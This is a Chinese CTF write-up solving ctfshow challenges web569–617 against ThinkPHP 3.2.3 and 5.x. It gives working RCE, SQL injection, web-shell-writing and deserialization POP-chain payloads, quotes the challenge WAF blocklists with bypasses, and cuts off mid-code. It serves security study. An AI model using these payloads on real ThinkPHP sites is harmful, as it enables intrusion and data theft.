前言
结合我的另一篇ThinkPHP反序列化研究来学习
此专题需要自备tp源码方便调试
参考博客:
https://blog.csdn.net/miuzzx/article/details/119410335
https://blog.csdn.net/qq_53263789/article/details/122402321
TP3
web569(pathinfo)
版本3.2.3
flag在Admin模块的Login控制器的ctfshowLogin方法中
我们先查一下官方文档:https://www.kancloud.cn/manual/thinkphp/1697
URL模式
先了解一下ThinkPHP3.2.3的标准URL格式
http://serverName/index.php/模块/控制器/操作
注:ThinkPHP框架的URL区分大小写,如果要不区分需要在框架内配置(当开启调试模式的情况下,这个参数是false)
'URL_CASE_INSENSITIVE' => true,
如果我们直接访问入口文件的话,由于URL中没有模块、控制器和操作,因此系统会访问默认模块(Home)下面的默认控制器(Index)的默认操作(index),因此下面的访问是等效的:
http://serverName/index.php
http://serverName/index.php/Home/Index/index
这种URL模式就是系统默认的PATHINFO
模式,可以设置URL_MODEL参数改变URL模式
URL模式 | URL_MODEL设置 |
---|---|
普通模式 | 0 |
PATHINFO模式 | 1 |
REWRITE模式 | 2 |
兼容模式 | 3 |
普通模式
传统的GET传参方式来指定当前访问的模块和操作
例如: http://localhost/?m=home&c=user&a=login&var=value
(这里m参数表示模块,c参数表示控制器,a参数表示操作,后面的表示其他GET参数)
我们可以修改对应的系统配置来更改变量名(注:VAR_MODULE只能在应用配置文件中设置,其他参数可以则也可以在模块配置中设置)
'VAR_MODULE' => 'module', // 默认模块获取变量
'VAR_CONTROLLER' => 'controller', // 默认控制器获取变量
'VAR_ACTION' => 'action', // 默认操作获取变量
上面的访问地址则变成: http://localhost/?module=home&controller=user&action=login&var=value
PATHINFO模式
默认的url模式,不过依然可以采用普通URL模式的参数方式
http://localhost/index.php/home/user/login/var/value/
前三个参数分别表示模块/控制器/操作
在PATHINFO模式下,URL是可定制的,配置:
// 更改PATHINFO参数分隔符 'URL_PATHINFO_DEPR'=>'-',
于是访问的url就要改成
http://localhost/index.php/home-user-login-var-value
REWRITE模式
在PATHINFO模式的基础上添加了重写规则的支持,可以去掉URL地址里面的入口文件index.php,但是需要额外配置WEB服务器的重写规则
以Apache为例,在入口文件的同级添加.htaccess文件:
<IfModule mod_rewrite.c>
RewriteEngine on
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^(.*)$ index.php/$1 [QSA,PT,L]
</IfModule>
那么访问的url就变成了http://localhost/home/user/login/var/value
兼容模式
用于不支持PATHINFO的特殊环境
http://localhost/?s=/home/user/login/var/value
可以更改兼容模式变量的名称定义:
'VAR_PATHINFO' => 'path'
也可以像上面PATHINFO模式一样更改参数分隔符:
// 更改PATHINFO参数分隔符
'URL_PATHINFO_DEPR'=>'-',
url变为:http://localhost/?path=/home-user-login-var-value
也可以通过重写web服务器规则定义来实现和REWRITE模式一样的效果
<IfModule mod_rewrite.c>
RewriteEngine on
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^(.*)$ index.php?s=/$1 [QSA,PT,L]
</IfModule>
url变为:http://localhost/home/user/login/var/value
题目
回到题目,题目告诉我们是pathinfo模式,根据题目要求,我们可以直接访问
/index.php/Admin/Login/ctfshowLogin
即可得到flag
web570(路由)
版本3.2.3
黑客建立了闭包路由后门,你能找到吗
了解一下路由:https://www.kancloud.cn/manual/thinkphp/1705
路由
PATH_INFO模式或兼容URL模式下使用,配置文件中开启,可以针对模块也可以针对全局
// 开启路由
'URL_ROUTER_ON' => true,
配置路由规则:
'URL_ROUTE_RULES'=>array(
'news/:year/:month/:day' => array('News/archive', 'status=1'),
'news/:id' => 'News/read',
'news/read/:id' => '/news/:1',
),
路由定义
'路由表达式'=>'路由地址和传入参数'
或array('路由表达式','路由地址','传入参数')
路由表达式:
表达式 示例 正则表达式 /^blog/(\d+)$/ 规则表达式 blog/:id 路由地址:
定义方式 定义格式 方式1:路由到内部地址(字符串) ‘[控制器/操作]?额外参数1=值1&额外参数2=值2…’ 方式2:路由到内部地址(数组)参数采用字符串方式 array(‘[控制器/操作]’,’额外参数1=值1&额外参数2=值2…’) 方式3:路由到内部地址(数组)参数采用数组方式 array(‘[控制器/操作]’,array(‘额外参数1’=>’值1’,’额外参数2’=>’值2’…)[,路由参数]) 方式4:路由到外部地址(字符串)301重定向 ‘外部地址’ 方式5:路由到外部地址(数组)可以指定重定向代码 array(‘外部地址’,’重定向代码’[,路由参数]) 方式6:闭包函数 function($name){ echo ‘Hello,’.$name;} 如果定义的是全局路由(在公共模块的配置文件中定义),那么路由地址的定义格式中需要增加模块名,如:
'blog/:id'=>'Home/blog/read' // 表示路由到Home模块的blog控制器的read操作方法
如果路由地址以“/”或者“http”开头则会认为是一个重定向地址或者外部地址
路由参数:
限制URL后缀:
'blog/:id'=>array('blog/read','status=1&app_id=5',array('ext'=>'html')), // 限制了html后缀访问该路由规则生效
限制请求类型:
'blog/:id'=>array('blog/read','status=1&app_id=5',array('method'=>'get')), // 限制了只有GET请求
自定义检测:
'blog/:id'=>array('blog/read','status=1&app_id=5',array('callback'=>'checkFun')), // 自定义checkFun函数来检测是否生效,如果函数返回false则表示不生效
规则路由、正则路由、静态路由
这个建议直接看文档
闭包支持
可以使用闭包的方式定义一些特殊需求的路由,而不需要执行控制器的操作方法
'URL_ROUTE_RULES'=>array(
'test' =>
function(){
echo 'just test';
},
'hello/:name' =>
function($name){
echo 'Hello,'.$name;
}
'blog/:year/:month' =>
function($year,$month){
echo 'year='.$year.'&month='.$month;
}
'/^new\/(\d{4})\/(\d{2})$/' =>
function($year,$month){
echo 'year='.$year.'&month='.$month;
}
)
参数传递:
规则路由下访问
http://serverName/Home/hello/thinkphp
则输出Hello,thinkphp
,对应第二个路由规则正则路由下访问
http://serverName/Home/new/2013/03
则输出year=2013&month=03
,对应第四个路由规则继续执行:
默认的情况下,使用闭包定义路由的话,一旦匹配到路由规则,执行完闭包方法之后,就会中止后续执行。
如果希望闭包函数执行后,后续的程序继续执行,可以在闭包函数中使用布尔类型的返回值,例如:
'hello/:name' => function($name){ echo 'Hello,'.$name.'<br/>'; $_SERVER['PATH_INFO'] = 'blog/read/name/'.$name; // 重新设置了$_SERVER['PATH_INFO']变量,交给后续的程序继续执行 return false; // 返回值是false,所以会继续执行控制器和操作的检测 }
假设blog控制器中的read操作方法代码如下:
public function read($name){ echo 'read,'.$name.'!<br/>'; }
访问
http://serverName/Home/hello/thinkphp
,则输出Hello,thinkphp read,thinkphp!
题目
给了我们Application的附件
我们解压下来审计一下
先全局搜索一下URL_ROUTER_ON,在Common/Conf/config.php
我们可以知道这里的路由规则是访问ctfshow
路由,后面的两个参数会作为call_user_func
函数的参数进行命令执行
那么我们可以直接调用system函数命令执行
此时就有一个问题了,我们在路由里构造不出/
,所以我们直接用assert
回调后门
payload:
index.php/ctfshow/assert/eval($_POST[1])
然后post请求里传入参数1进行任意命令执行
web571(控制器)
版本3.2.3
hello,黑客建立了控制器后门,你能找到吗
了解一下控制器:https://www.kancloud.cn/manual/thinkphp/1712
控制器
ThinkPHP的控制器是一个类,而操作则是控制器类的一个公共方法
demo:
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function hello(){
echo 'hello,thinkphp!';
}
}
Home\IndexController
类就代表了Home模块下的Index控制器,而hello操作就是Home\IndexController
类的hello(公共)方法
所以访问http://serverName/index.php/Home/Index/hello
,会输出hello,thinkphp!
定义
必须是公共方法,尽量避免和系统的保留方法相冲突
保留方法:
display
get
show
fetch
theme
assign
error
success
设置操作方法的后缀:
'ACTION_SUFFIX' => 'Action', // 操作方法后缀
这样控制器的操作方法定义就为
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function listAction(){
echo 'list';
}
public function helloAction(){
echo 'hello';
}
public function testAction(){
echo 'test';
}
}
注:后缀设置只是影响控制器类的定义,对URL访问没有影响
前置后置操作
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller{
//前置操作方法
public function _before_index(){
echo 'before<br/>';
}
public function index(){
echo 'index<br/>';
}
//后置操作方法
public function _after_index(){
echo 'after<br/>';
}
}
访问http://serverName/index.php/Home/Index/index
,则输出
before
index
after
注:
- 如果当前的操作并没有定义操作方法,而是直接渲染模板文件,那么如果定义了前置和后置方法的话,依然会生效。真正有模板输出的可能仅仅是当前的操作,前置和后置操作一般情况是没有任何输出的。
- 需要注意的是,在有些方法里面使用了exit或者错误输出之类的话 有可能不会再执行后置方法了。例如,如果在当前操作里面调用了控制器类的error方法,那么将不会再执行后置操作,但是不影响success方法的后置方法执行。
Action参数绑定
通过直接绑定URL地址中的变量作为操作方法的参数,可以简化方法的定义甚至路由的解析
配置:
'URL_PARAMS_BIND' => true, // URL变量绑定到操作方法作为参数
按变量名绑定(默认):
demo:
namespace Home\Controller; use Think\Controller; class BlogController extends Controller{ public function read($id){ echo 'id='.$id; } public function archive($year='2013',$month='01'){ echo 'year='.$year.'&month='.$month; } }
url访问:
http://serverName/index.php/Home/Blog/read/id/5
,输出id=5
http://serverName/index.php/Home/Blog/archive/year/2013/month/11
,输出year=2013&month=11
注:按照变量名进行参数绑定的参数必须和URL中传入的变量名称一致,但是参数顺序不需要一致
以下访问url等价
http://serverName/index.php?s=/Home/Blog/archive/year/2013/month/11 http://serverName/index.php?s=/Home/Blog/archive/month/11/year/2013 http://serverName/index.php?c=Blog&a=archive&year=2013&month=11
如果直接访问
http://serverName/index.php/Home/Blog/read/
没加id参数且id参数没有默认值的话会报错按变量顺序绑定:(仅对PATHINFO地址有效)
配置:
'URL_PARAMS_BIND_TYPE' => 1, // 设置参数绑定按照变量顺序绑定
访问地址变为:
http://serverName/index.php/Home/Blog/read/5 http://serverName/index.php/Home/Blog/archive/2013/11
输出和上面一样
但是如果改成
http://serverName/index.php/Home/Blog/archive/11/2013
,此时输出就会变成year=11&month=2013
其它配置
'URL_HTML_SUFFIX'=>'shtml' // 设置伪静态后缀
'URL_CASE_INSENSITIVE' =>true // URL访问不区分大小写
内置方法
U:动态的根据当前的URL设置生成对应的URL地址,确保项目在移植过程中不受环境的影响
U('地址表达式',['参数'],['伪静态后缀'],['显示域名']) U('User/add') // 生成User控制器的add操作的URL地址 U('Blog/read?id=1') // 生成Blog控制器的read操作 并且id为1的URL地址 U('Admin/User/select') // 生成Admin模块的User控制器的select操作的URL地址
I:获取系统输入变量
I('变量类型.变量名/修饰符',['默认值'],['过滤方法或正则'],['额外数据源']) I('get.id'); // 相当于 $_GET['id'] I('get.id',0); // 如果不存在$_GET['id'] 则返回0 I('get.name','','htmlspecialchars'); // 采用htmlspecialchars方法对$_GET['name'] 进行过滤,如果不存在则返回空字符串 I('get.'); // 获取整个$_GET 数组 I('post.name','','htmlspecialchars'); // 采用htmlspecialchars方法对$_POST['name'] 进行过滤,如果不存在则返回空字符串 I('session.user_id',0); // 获取$_SESSION['user_id'] 如果不存在则默认为0 I('cookie.'); // 获取整个 $_COOKIE 数组 I('server.REQUEST_METHOD'); // 获取 $_SERVER['REQUEST_METHOD'] I('param.id'); // 自动判断当前请求类型 I('path.1'); // 获取URL参数(必须是PATHINFO模式),对http://serverName/index.php/New/2013/06/01,会输出2013 I('data.file1','','',$_FILES); // 获取不支持的变量类型的读取
变量过滤
// 系统默认的变量过滤机制,也就说,I方法的所有获取变量如果没有设置过滤方法的话都会进行htmlspecialchars过滤
'DEFAULT_FILTER' => 'htmlspecialchars'
I('get.name'); // 等同于 htmlspecialchars($_GET['name'])
其余的自己看文档吧
题目
审计代码
先看一下Home模块下的控制器IndexController.class.php
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index($n=''){
$this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 24px 48px;"> <h1>CTFshow</h1><p>thinkphp 专项训练</p><p>hello,'.$n.'黑客建立了控制器后门,你能找到吗</p>','utf-8');
}
}
可以发现这里实际上会接受一个参数n来调用show方法,这个方法是一个保留方法
show方法渲染内容
如果没有定义任何模板文件,或者把模板内容存储到数据库中的话,就需要使用show方法来渲染输出了
show('渲染内容'[,'字符编码'][,'输出类型'])
// 例:
$this->show($content);
$this->show($content, 'utf-8', 'text/xml');
show方法中的内容也可以支持模板解析
把Application文件丢到本地环境调试一下:
动态跟踪show方法
一路跟踪display方法
继续跟踪到fetch方法
可以发现这个方法中存在命令执行的部分
我们传入的n也就是content在TMPL_ENGINE_TYPE
是php的情况下会进到eval函数中
if ('php' == strtolower(C('TMPL_ENGINE_TYPE'))) {
// 使用PHP原生模板
$_content = $content;
// 模板阵列变量分解成为独立变量
extract($this->tVar, EXTR_OVERWRITE);
// 直接载入PHP模板
empty($_content) ? include $templateFile : eval('?>' . $_content);
}
怎么让TMPL_ENGINE_TYPE
为php呢,这里琢磨了一圈发现原来题目靶机的TMPL_ENGINE_TYPE
是php,而我们本地能够命令执行则是因为生成的缓存文件被include了,要改也很简单,在 ThinkPHP/Conf/convention.php 把TMPL_ENGINE_TYPE
的键值改成php即可
那么最终的payload就是:
http://050f2deb-9b96-4fe6-b5df-5af1c67aa8ce.challenge.ctf.show/index.php/home/index/index?n=<?php system('ls /');?>
web572(日志泄露)
版本3.2.3
hello,没有源码,如何获取黑客的蛛丝马迹?
这题没给源码,猜测存在信息泄露
日志泄露
thinkphp在开启DEBUG的情况下会在Runtime目录下生成日志
入口文件中可以开启调试模式:
// 开启调试模式
define('APP_DEBUG', true);
ThinkPHP3的日志一般会生成的位置
/Runtime/Logs/
/App/Runtime/Logs/
/Application/Runtime/Logs/Admin/
/Application/Runtime/Logs/Home/
/Application/Runtime/Logs/
而ThinkPHP5会生成在/runtime/log/202105/17.log
题目
那么我们要做的就是,抓包直接爆破这个日志的日期
先访问当天的日志,测试发现在/Application/Runtime/Logs/Home/下
设置一下爆破的格式(题目告诉我们爆破不超过365次)
更改年份多爆几次,最后得到另一个日志的日期为21_04_15
可以看到这里的日志内容是进行了一次命令执行
我们尝试复现一下
那么我们的payload就是
/index.php?showctf=<?php system('ls /');?>
web573(sql注入)
hello user1,get id =1?
参数是id,用where注入即可,分析参考我的另一篇文章:https://c1oudfl0w0.github.io/blog/2023/10/24/ThinkPHP%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/#where%E6%B3%A8%E5%85%A5
我这里用报错注入
查数据库
?id[where]=1 and 1=updatexml(1,concat(0x7e,database(),0x7e),1)%23
返回ctfshow
查表
?id[where]=1 and 1=updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)%23
返回ctfshow_users,flags
查列名
?id[where]=1 and 1=updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flags'),0x7e),1)%23
返回id,flag4s
查字段
?id[where]=1 and 1=updatexml(1,concat(0x7e,(select flag4s from flags),0x7e),1)%23
截取
?id[where]=1 and 1=updatexml(1,concat(0x7e,substr((select flag4s from flags),32,20),0x7e),1)%23
于是得到flag
或者直接联合注入也可以
?id[where]=id=0 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()%23
?id[where]=id=0 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='flags'%23
?id[where]=id=0 union select 1,group_concat(flag4s),3,4 from flags%23
web574
index改成了下面这样
public function index($id=1){
$name = M('Users')->where('id='.$id)->find();
$this->show($html);
}
和上题的区别是这里先用where
进行查询,然后用find
读取数据
本地调试分析
本地调试一下(我没准备渲染文件所以这里$this->show($html)
要直接换成var_dump($name)
)
依旧是用1'
做测试
一路跟到ThinkPHP\Library\Think\Model.class.php:1998
的 where 方法这里
发现只执行了两个部分
if (is_string($where) && '' != $where) {
$map = array();
$map['_string'] = $where;
$where = $map;
}
$this->options['where'] = $where;
即$this->options['where']=array("_string"=>"1'")
然后继续跟进,到ThinkPHP\Library\Think\Db\Driver.class.php:536的 parseWhere 方法
此时传入的$where
就是我们$this->options['where']
的值也就是array("_string"=>"1'")
。所以我们会进入下面的if
可以看到此时的$key
是"_string"
$val
是id=1'
进入ThinkPHP\Library\Think\Db\Driver.class.php:681的parseThinkWhere
方法
可以发现这里return的时候有一个括号包裹,即返回的内容是( id=1 )
接下来执行的sql语句为
SELECT * FROM `think_user` WHERE ( id=1' ) LIMIT 1
这下懂了,只需要把括号闭合即可实现注入
题目
有了上面的分析,接下来就是直接打sql注入
?id=0)union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()%23
?id=0)union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='flags'%23
?id=0)union select 1,group_concat(flag4s),3,4 from flags%23
这题也可以直接用报错注入
?id=1 and updatexml(1,concat(0x7e,(select group_concat(flag4s) from flags),0x7e),1)
web575
这题的index代码
$user= unserialize(base64_decode(cookie('user')));
if(!$user || $user->id!==$id){
$user = M('Users');
$user->find(intval($id));
cookie('user',base64_encode(serialize($user->data())));
}
$this->show($user->username);
}
这里的find
方法里面有 intval 直接转换类型,导致sql注入不了
解法一:show方法命令执行
在web571中,我们知道show
方法是可以执行php代码的
所以我们只需要能控制$user->username
即可,随便传个id,不需要进if判断
payload:
<?php
namespace Home\Controller;
class IndexController
{
public $id = '1'; // get传入的id也要相同
public $username = "<?php system('cat /f*');?>";
}
echo base64_encode(serialize(new IndexController()));
解法二:thinkphp3.2.3反序列化
分析依旧在隔壁文章,这里猜数据库名为 ctfshow,账密为 root:root
payload:
<?php
namespace Think\Image\Driver {
use Think\Session\Driver\Memcache;
class Imagick
{
private $img;
public function __construct()
{
$this->img = new Memcache();
}
}
}
namespace Think\Session\Driver {
use Think\Model;
class Memcache
{
protected $handle = null;
public function __construct()
{
$this->handle = new Model();
}
}
}
namespace Think {
use Think\Db\Driver\Mysql;
class Model
{
protected $pk;
protected $db;
protected $data = array();
public function __construct()
{
$this->db = new Mysql();
$this->pk = "id";
$this->data[$this->pk] = array(
"table" => 'mysql.user;select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/a.php"# ',
"where" => "1=1"
);
}
}
}
namespace Think\Db\Driver {
class Mysql
{
protected $config = array(
"debug" => 1,
"database" => "ctfshow",
"hostname" => "127.0.0.1",
"hostport" => "3306",
"charset" => "utf8",
"username" => "root",
"password" => "root"
);
}
}
namespace {
$a = new Think\Image\Driver\Imagick();
echo base64_encode(serialize($a));
}
web576(comment注释注入)
$user = M('Users')->comment($id)->find(intval($id));
注入点 id 包了一层intval
,所以前面sql注入的方法用不了了
接下来重点看一下comment
函数
/**
* 查询注释
* @access public
* @param string $comment 注释
* @return Model
*/
public function comment($comment)
{
$this->options['comment'] = $comment;
return $this;
}
下断点调试,一路跟踪到 ThinkPHP/Library/Think/Db/Driver.class.php:789 的parseComment
这里会对$comment
的内容用/**/
包裹
即接下来的sql语句为
SELECT * FROM `think_user` WHERE `id` = 1 LIMIT 1 /* 1' */
那么注入就很简单了,用*/
闭合即可,然后写shell
?id=1*/ into outfile "/var/www/html/a.php" lines terminated by "<?php eval($_POST[1]);?>" /*
web577(exp注入)
$map=array(
'id'=>$_GET['id']
);
$user = M('Users')->where($map)->find();
和web574相比,多了个把 id 处理成 map 数组的操作
本地下个断点调试一下
一路f10跟进到where
函数这里
可以看到这里会把传入的值赋给$this->options['where']
往下一直走到_parseOptions
函数,当经过标注的这个for循环后val被赋值了options['where']
的值。
继续,来到parseWhere
的parseWhereItem
观察代码
if (is_array($val)) {
if (is_string($val[0])) {
$exp = strtolower($val[0]);
if (preg_match('/^(eq|neq|gt|egt|lt|elt)$/', $exp)) {
// 比较运算
$whereStr .= $key . ' ' . $this->exp[$exp] . ' ' . $this->parseValue($val[1]);
} elseif (preg_match('/^(notlike|like)$/', $exp)) {
// 模糊查找
if (is_array($val[1])) {
$likeLogic = isset($val[2]) ? strtoupper($val[2]) : 'OR';
if (in_array($likeLogic, array('AND', 'OR', 'XOR'))) {
$like = array();
foreach ($val[1] as $item) {
$like[] = $key . ' ' . $this->exp[$exp] . ' ' . $this->parseValue($item);
}
$whereStr .= '(' . implode(' ' . $likeLogic . ' ', $like) . ')';
}
} else {
$whereStr .= $key . ' ' . $this->exp[$exp] . ' ' . $this->parseValue($val[1]);
}
} elseif ('bind' == $exp) {
// 使用表达式
$whereStr .= $key . ' = :' . $val[1];
} elseif ('exp' == $exp) {
// 使用表达式
$whereStr .= $key . ' ' . $val[1];
}
可以发现当$val
是数组时,$val[0]
赋值给了$exp
如果$exp
是字符串exp
,最后返回的内容是$whereStr .= $key.' '.$val[1];
也就是字符串id
拼接上$val[1]
那么$val
是怎么来的呢,在_parseOptions
函数中,当经过标注的这个for循环后val被赋值了options['where']
的值。其实归根结底是赋值的我们传入的id的值
所以我们只需要传入?id[0]=exp
就可以进入$whereStr .= $key.' '.$val[1];
,接下来我们就可以在$val[1]
这里注入sql语句,得到的$whereStr
绕过了parseValue
的转义
即我们传入的id[1]=xxx
会被放到sql语句中
payload:
?id[0]=exp&id[1]==0 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()%23
?id[0]=exp&id[1]==0 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='flags'%23
?id[0]=exp&id[1]==0 union select 1,flag4s,2,3 from flags%23
web578(变量覆盖导致rce)
public function index($name='',$from='ctfshow'){
$this->assign($name,$from);
$this->display('index');
}
本地下断点调试,传入个?name=a&from=b
看看
跟进第一个函数assign,作用就是一个简单的赋值,传入的?name=a&from=b
会产生$this->tVar=array('a'=>'b')
,如果我们传入?name[x]=y
,那么就是$this->tVar=array('x'=>'y')
接下来看display,跟进fetch
一眼发现在默认模板引擎为php的情况下,有 extract 函数对$this->tVar
进行操作分解为独立变量,即假设$this->tVar=array('a'=>'b')
,那么经过这个函数就会生成$a
,值为b
接下来是判断$_content
不为空则执行eval函数,所以我们可以利用 extract 函数变量覆盖掉$_content
来执行php代码
payload:
?name[_content]=<?php system('cat /f*');?>
TP5
漏洞分析的文章依旧在隔壁
web579-610均为未开启强制路由RCE
web579(未开启强制路由RCE)
tp版本是5.0.15
直接打payload
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /f*
web604
tp版本5.1.29
payload一把梭了
?s=index/\think\Request/input&filter[]=system&data=cat /f*
web605
ban了input,invokefunction
可以直接写马
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php eval($_POST['cmd']);?>
cmd=system("cat /f*");
命令执行用grep找一下发现waf位置在 ../thinkphp/library/think/route/dispatch/Module.php
/**
*
* 检查payload是否符合预期
*/
public static function checkPayload($action){
$ban = array('invokefunction','input','display');
if(in_array($action,$ban)){
die($action.' 这条路子不通,想想其他路子~');
}
}
在exec
方法中添加了self::checkPayload($action);
web606
又多ban了个write
但是考虑到 linux 环境下无视大小写,可以直接大写 WRITE 绕过
payload:
?s=index/\think\template\driver\file/Write&cacheFile=shell.php&content=<?php eval($_POST['cmd']);?>
另一个通杀payload:
?s=index/\think\view\driver\Think/__call&method=display¶ms[]=<?php system('whoami'); ?>
该payload会生成shell拼接到$content进行write写入缓存文件,接着会include模板缓存文件
web607
上一题payload就可以打穿了
看看waf
/**
*
* 检查payload是否符合预期
*/
public static function checkPayload($action){
$ban = array('invokefunction','input','write','invokeFunction','display','Load');
if(in_array($action,$ban)){
die($action.' 这条路子不通,想想其他路子~');
}
}
web608
上题payload秒了
waf:
/**
*
* 检查payload是否符合预期
*/
public static function checkPayload($action){
$ban = array('invokefunction','input','write','invokeFunction','cookie','display','Load');
if(in_array($action,$ban)){
die($action.' 这条路子不通,想想其他路子~');
}
}
web609
上题payload秒了
waf:
/**
*
* 检查payload是否符合预期
*/
public static function checkPayload($action){
$ban = array('invokefunction','input','write','invokeFunction','cookie','param','display','Load');
if(in_array($action,$ban)){
die($action.' 这条路子不通,想想其他路子~');
}
}
web610
上题payload秒了
waf:
/**
*
* 检查payload是否符合预期
*/
public static function checkPayload($action){
$ban = array('invokefunction','input','write','invokeFunction','cookie','param','cache','display','Load');
if(in_array($action,$ban)){
die($action.' 这条路子不通,想想其他路子~');
}
}
web611(5.1.38反序列化rce)
<?php
namespace app\index\controller;
class Index
{
public function index()
{
if(isset($_POST['data'])){
@unserialize($_POST['data']);
}
highlight_string(file_get_contents(__FILE__));
}
}
直接打poc
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["0w0"=>["calc.exe","calc"]];
$this->data = ["0w0"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单ajax伪装变量
'var_ajax' => '_ajax',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>'0w0'];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));
?>
web612(禁ajax & withattr)
上一条链子被断了,这下得自己挖了
不过总之还是要围绕怎么调用input
函数或者param
来做文章 ,直接搜索谁调用input,然后进行分析即可
全局搜一下param
,找可控参数多的
这是之前payload里那条链子的
这里把 ajax 换成 pjax 就可以整出一条新链子
所以poc为
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["0w0"=>["calc.exe","calc"]];
$this->data = ["0w0"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单pjax伪装变量
'var_pjax' => '_pjax',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_pjax"=>'0w0'];
$this->hook = ["visible"=>[$this,"isPjax"]];
}
}
namespace think\process\pipes;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));
?>
然后我们依旧看一下waf的位置
../thinkphp/library/think/Request.php
/**
* 当前是否Ajax请求
* @access public
* @param bool $ajax true 获取原始ajax请求
* @return bool
*/
public function isAjax($ajax = false)
{
$value = $this->server('HTTP_X_REQUESTED_WITH');
$result = 'xmlhttprequest' == strtolower($value) ? true : false;
if (true === $ajax) {
return $result;
}
echo "此链不通";
#$result = $this->param($this->config['var_ajax']) ? true : $result;
$this->mergeParam = false;
return $result;
}
../thinkphp/library/think/Model.php
public function __call($method, $args)
{
if ('withattr' == strtolower($method)) {
die("此链不通");
return call_user_func_array([$this, 'withAttribute'], $args);
}
return call_user_func_array([$this->db(), $method], $args);
}
../application/index/controller/Index.php
<?php
namespace app\index\controller;
class Index
{
public function index()
{
if(!isset($_POST['data'])){
die("unserialize post data");
}
if(preg_match('/withattr/i',$_POST['data'])){
die("此链不通");
}
if(isset($_POST['data'])){
@unserialize($_POST['data']);
}
return "unserialize post->data";
}
}
web613(禁pjax)
上一条链子打不通了,继续全局找找param
那么我们要做的就是让
$this->hook = ['visible'=>[$this,"__get"]];
然后get传参命令执行即可
poc
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["0w0"=>["calc.exe","calc"]];
$this->data = ["0w0"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $get = [];
function __construct(){
$this->filter = "system";
$this->hook = ["visible"=>[$this,"__get"]];
}
}
namespace think\process\pipes;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));
?>
新增的waf:
../thinkphp/library/think/Request.php
/**
* 当前是否Pjax请求
* @access public
* @param bool $pjax true 获取原始pjax请求
* @return bool
*/
public function isPjax($pjax = false)
{
$result = !is_null($this->server('HTTP_X_PJAX')) ? true : false;
if (true === $pjax) {
return $result;
}
echo "此链不通";
#$result = $this->param($this->config['var_pjax']) ? true : $result;
$this->mergeParam = false;
return $result;
}
web614(禁write)
上一题的poc秒了
新增waf:
../thinkphp/library/think/template/driver/File.php
/**
* 写入编译缓存
* @access public
* @param string $cacheFile 缓存的文件名
* @param string $content 缓存的内容
* @return void|array
*/
public function write($cacheFile, $content)
{
// 检测模板目录
$dir = dirname($cacheFile);
if (!is_dir($dir)) {
mkdir($dir, 0755, true);
}
die("此链不通");
// 生成模板缓存文件
if (false === file_put_contents($cacheFile, $content)) {
throw new Exception('cache write error:' . $cacheFile, 11602);
}
}
看起来是ban了利用缓存写马的方法
web615(禁read)
上一题的poc秒了
新增waf:
../thinkphp/library/think/template/driver/File.php
/**
* 读取编译编译
* @access public
* @param string $cacheFile 缓存的文件名
* @param array $vars 变量数组
* @return void
*/
public function read($cacheFile, $vars = [])
{
$this->cacheFile = $cacheFile;
die("此链不通");
if (!empty($vars) && is_array($vars)) {
// 模板阵列变量分解成为独立变量
extract($vars, EXTR_OVERWRITE);
}
//载入模版缓存文件
include $this->cacheFile;
}
web616(禁display)
上题poc秒了
新waf:
../thinkphp/library/think/view/driver/Php.php
/**
* 渲染模板内容
* @access public
* @param string $content 模板内容
* @param array $data 模板变量
* @return void
*/
public function display($content, $data = [])
{
$this->content = $content;
die("此链不通");
extract($data, EXTR_OVERWRITE);
eval('?>' . $this->content);
}
感觉像是之前的show方法命令执行?
web617(禁fetch)
上题poc秒了
新waf:
../thinkphp/library/think/view/driver/Php.php
/**
* 渲染模板文件
* @access public
* @param string $template 模板文件
* @param array $data 模板变量
* @return void
*/
public function fetch($template, $data = [])
{
die("此链不通");
if ('' == pathinfo($template, PATHINFO_EXTENSION)) {
